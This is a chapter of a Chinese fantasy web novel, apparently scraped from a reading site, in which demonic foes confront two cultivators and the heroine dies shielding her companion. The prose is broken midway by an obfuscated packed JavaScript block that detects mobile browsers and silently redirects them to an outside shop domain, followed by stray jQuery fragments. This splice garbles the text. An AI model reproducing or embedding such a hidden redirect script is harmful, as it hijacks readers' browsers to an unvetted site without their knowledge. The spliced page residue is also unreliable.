宿敌见面,分外眼红,免不了一场生死恶战。
还未说只言片语,温恪瑜几乎是顷刻出手。
好在书析伝也算身法精绝矫健,带着宋弋清躲过那一招后,将人安稳的放置在了一旁,急遽设了结界来护住宋弋清。
温恪瑜温文尔雅的气质中不乏似有若无的狂妄:“凭你,还不是本座的对手。”
为道多年,书析伝自知不是温恪瑜的对手。
温恪瑜一个千年魔头,灵术高深莫测,当初他们集一群人之力,在温恪瑜手下,也只能勉强保命,还是温恪瑜几次三番手下留情所致。
如今能与温恪瑜抗衡的,是仅修道三年的宋弋清。
宋弋清是当之无愧的道系天才,古往今来,任何道系弟子在她面前,都只有仰视的份儿。
只是如今宋弋清不仅法力尽失,连自保都成问题。
况且温恪瑜还带了一个姒樱。
姒樱虽然也是女流,但在魔界七大高手中位列第二,第一属她的姐姐,妶月。
姒樱撇了撇额发,媚眼如丝,风情万种足以勾世间所有男子的魂魄:“怎么,看上我了?还是想找我求求情,饶过你们?”
妖媚妩性的女子笑得明艳动人,站在儒雅随和的温恪瑜身旁,两人瞧着,倒像是一对再过普通不过的寻常商贾夫妻。
姒樱很喜欢挑逗眼前这位小道士,她也自知书析伝是看不上她的,他心里的人,在他身后护着呢。
当年与书析伝他们初次交手她便知书析伝心意了。
可怎么办呢,一身白袍,心思单纯如明镜般的纯情道士,她偏偏想要撩拨。
“要你跟我说两句软话,我也不是不能放过你们走。”
姒樱自以为是的暗送秋波,却遭来书析伝涨红脸的嗔怒。
他在那一刻的窘迫过后,甚至有所动摇。
求饶的话,就能让宋弋清活下去,她不该死的,留得青山在,不怕没柴烧,可他贵为道系直系弟子,又怎么能与魔族求饶呢?
可那是宋弋清啊,他自己死,绝不会有半分的踟蹰。
或许再过不了几年,宋弋清就能得道成仙。
仙门百家几千年来,成仙之人寥寥无几,女仙更是无一人,宋弋清的名号,或许会名垂千古。
“书析伝……,你敢……”耳侧是身后女子传来低冽迷离的软音,却带着坚韧的决绝。
宋弋清一手捂住起伏剧烈的胸口,另一只手攥上书析伝的袖袍。
温恪瑜竟在书析伝的神色中窥见了丝缕犹豫,不屑冷蔑了一眼那样貌过于寻常、只沾了几分清秀的男子。
“还真得软弱无能之辈,为了能苟且偷生,竟还真想着讨饶。”
温恪瑜眼溢讥讽与鄙夷:“好啊,如若你今日真敢跪,今日我也可以暂且先饶过你们。”
如今宋弋清身受重伤,他也不过是趁人之危而已。
姒樱在一旁不以为意的帮腔:“这有什么,宋弋清又不是没跪过?”
对面的少年气质温润如玉,差了几分意气风发,清如水的眼眸中似怨含恨。
宋弋清疼得锥心刺骨,似乎是体内的那些魔灵察觉到了温恪瑜身上的魔性,愈发猖獗了。
着实是不好受,本一张口就是痛苦的吟咛,但硬生生让她咬牙抗住了,轻拽着书析伝,期盼将人扯回来。
“你敢!”
“你手中握的是轻羽剑,你是正道之首,绝无可能,书析伝。我知道你在想什么,今时不同往日,我不许。”
书析伝另一只手抚上宋弋清的手背,因入了秋,宋弋清体寒发作,身子冰冷刺骨,他也握得紧实牢固,好似再无机会握紧宋弋清的手。
姒樱歪扭着头,窥探着书析伝身后的宋弋清,只闻宋弋清那凄厉却克制的痛喘,却未见其人。
“你身后那位怎么受伤了?这世上除了我们家魔尊,还有人能伤我们仙道第一人宋弋清吗?不知又是哪一位高人?”
“三界中也未曾听闻有这样一人,九天之上那些神族,不过一群羽化登仙的虚无躯壳而已,也找不出几个厉害的人物,更是不理俗世。”
姒樱当真是纳闷,以宋弋清如今的发力,远在她师父书浔之上,就连魔尊她也能略胜一筹。
“难不成三界内真有什么隐匿避世的世外高人?”
姒樱这话是对温恪瑜说的,主要也想打探一番消息。
如若真是个厉害的人物,洞悉清楚来历,也不一定不能为他们所用。
书析伝捏紧了手中的轻羽剑,强盛的剑气注入他体内,浑厚得快要冲破他的身体。
瞥了一眼地上痉挛寒颤的人,想来要是今日没有变故,他和宋弋清都得死在这儿。
戚沢应当会来给他们收尸的。
也好,生同衾,死同穴,也是多少夫妻梦寐以求的。
他应温恪瑜动而动,他也并非是贪生怕死之辈。
姒樱破书析伝的结界还废了一时片刻的功夫,走近那疼得痉挛打滚的宋弋清身旁,满脸诧异。
囚仙环锢身,宋弋清就如同常人那般,周身无一丝灵气可使,邪性也无,还要受噬骨之刑。
姒樱不明所以的提着裙角蹲在宋弋清身旁,盯着那一身伤痕且半死不活的宋弋清,耳畔是惨绝人寰的痛叫,不绝于耳。
女子精美妖艳的面容上诧异非凡,正色发问:“你中毒了?”
姒樱兀自嘀咕:“瞧着也不像是中毒之兆?”
“指定是柳青芜那老妖婆的新手段吧?你竟还对付不了她?”
柳青芜,跳梁小丑一个,苗疆那群人也都是一群宵小鼠辈。
宋弋清出了满身的大汗,本玉骨冰肌的神姿如今也染了泥垢,脸颊都裹满了灰烬,神情照旧清冷遗世,自带仙诀飘飘的脱尘气。
姒樱用手中的白玉扇给宋弋清扇了扇风,只因宋弋清大汗淋漓,想来是热的。
居高临下的姒樱骇怪迷惑,单手勾起宋弋清尖细的下颚,仔细端详,眉头微蹙,瞧不出其中的玄机:“你到底怎么回事儿?”
“腹泻了?”
宋弋清眼中的痛苦化作一滴滴水光粼粼的热泪,流淌在姒樱白嫩的玉指上。
魔灵体凉,姒樱被宋弋清滚落的泪珠烫得轻颤儿了一下。
拧眉不解,不知宋弋清如今这般狼狈惨痛是为何故?
姒樱甚而面色惊慌:“我这还没动手呢,你就开始哭?我当了八百年的魔头了,心早就堪比石头硬了,你就算跟我求饶也是没用的。”
要宋弋清如今有力气说话,指定得噎两句姒樱。
不是说讨饶就放过他们吗?
不过她是没力气说话了,傲骨嶙嶙的别开脸,不屈全写在了那双晦涩难明的灰瞳中。
“到底打不打,你耍的什么花招呢?”
书析伝瞅准时机从与温恪瑜的交手中抽身,他怕姒樱对宋弋清不利,毕竟如今只需姒樱动动手指,就足以令宋弋清丧命。
姒樱察觉书析伝朝她而来,不躲不避。
温恪瑜并未给书析伝一线存活的生机。
他不知宋弋清为何迟迟不愿出手,即便是身受重伤,也不该是如今这般任人宰割的模样。
宋弋清若不出手,二打一,书析伝必死无疑,宋弋清也得死。
要是有个宋弋清,他还能忌惮几分,书析伝还没宋弋清厉害呢!
或许人生终究是世事无常,生死不过顷刻转瞬之际。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13059870|137678||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
生死之命,常人也未能可控,难料叵测。
宋弋清这般厉害的人物,也不能料事如神,知悉自己会在今日死于温恪瑜之手。
她甚至从未料到自己会不敌温恪瑜,死得如此草率。
满口鲜血从她檀口喷涌而出,瞬间急淌至她的脖颈,全身的骨髓在这一刻化作齑粉,身体摇摇欲坠后瘫倒在地。
那一招本是冲着书析伝去的,所以温恪瑜用了十成十的灵力,要打在书析伝身上,指定是命不久矣。
宋弋清却不动用法术,竟直接以身抵挡。
这下就连温恪瑜也困惑茫然了,瞳孔骤缩,唇口翕张。
姒樱膛目结舌,整个人如是被下了定身咒一样,与温恪瑜面面相觑。
书析伝在那一刹那,身躯寒凉如万丈深潭水,心口一紧,思绪尽失,混沌不知所以。
血水也溅满了男子本无暇的肌肤。
直至手中的佩剑脱落,书析伝才接住向他倒来的宋弋清。
“宋弋清!”
宋弋清鲜血直涌,书析伝给宋弋清护住心脉时,手指颤栗抖如筛糠,将灵力注入宋弋清体内,企图护住她的肝胆经脉。
姒樱走到温恪瑜身后,仍旧处在云里雾里:“她不会要死了吧?”
“你近日炼化魔种功力见长了?”都能一招制宋弋清了?
怎么着宋弋清也不会扛不下温恪瑜一招而香消玉殒吧?
可她估摸着宋弋清那样儿,确像是个快要一命呜呼的将死之人。
温恪瑜风流俊逸的细眉拧皱往眉心那处,润红的薄唇紧抿,神色狐疑中带着几分他自己都不明深意的失措。
勾线鎏光的软靴踩在地上,朝着宋弋清和书析伝而去。
“当真没有一丝灵气?”
不可能啊,那可是宋弋清欸,她怎么可能没有灵力,只这么轻而易举就死在他的一掌之下?
宋弋清半张脸埋在失声痛哭的书析伝怀中,尽管快要竭气,但仍旧抽搐着身子不安分。
温恪瑜:“被邪祟入体了?”
姒樱:“可即便是被邪祟入体,不过是魔性微弱的魔灵,以她的修为……”
温恪瑜和姒樱相似一望,皆是回想起了往日书浔历经千辛万苦,才找到的那件灵器。
姒樱恍然大悟:“囚仙环?”
温恪瑜抬肘,以蛮力出手,手中便落入一金光熠熠的圆环。
“还真是。”
温恪瑜心中有无尽的疑虑未解,是何人比他还想要杀了宋弋清?
书析伝是不可能的,那必定就与书祈珒有关了,毕竟当初囚仙环落入了书浔手中,书浔没理由给外人。
可书浔要对付宋弋清?
宋弋清又做错了何事,要书浔一死,就让宋弋清给他陪葬?
“往日师徒情深,如今不容于世。”
“你们人族之间的关系,还真是错综复杂啊。”
温恪瑜只说对了一半儿,不过不是书浔不容宋弋清,而是书祈珒。
书析伝嗜血的煞神眼抬起时,温恪瑜一个魔灵,竟觉得有些寒凉煞冷。
“姒樱,走吧。”
温恪瑜转身挥袖,从容自若的离去。
姒樱看着抱着宋弋清哭得痛不欲生的书析伝,用玉骨扇指向书析伝,诚挚一问:“不把他也杀了吗?”
“送去黄泉路做一对儿鸳鸯也不会寂寞。”
温恪瑜:“留着给她收尸吧。早些回魔界守着我的魔种出世,可不能出了岔子。”
对手一场,人之将死,也不必再留着看笑话了。
他只是没想到,宋弋清竟这般轻易就瘗玉埋香了。
还真挺……如梦似幻的。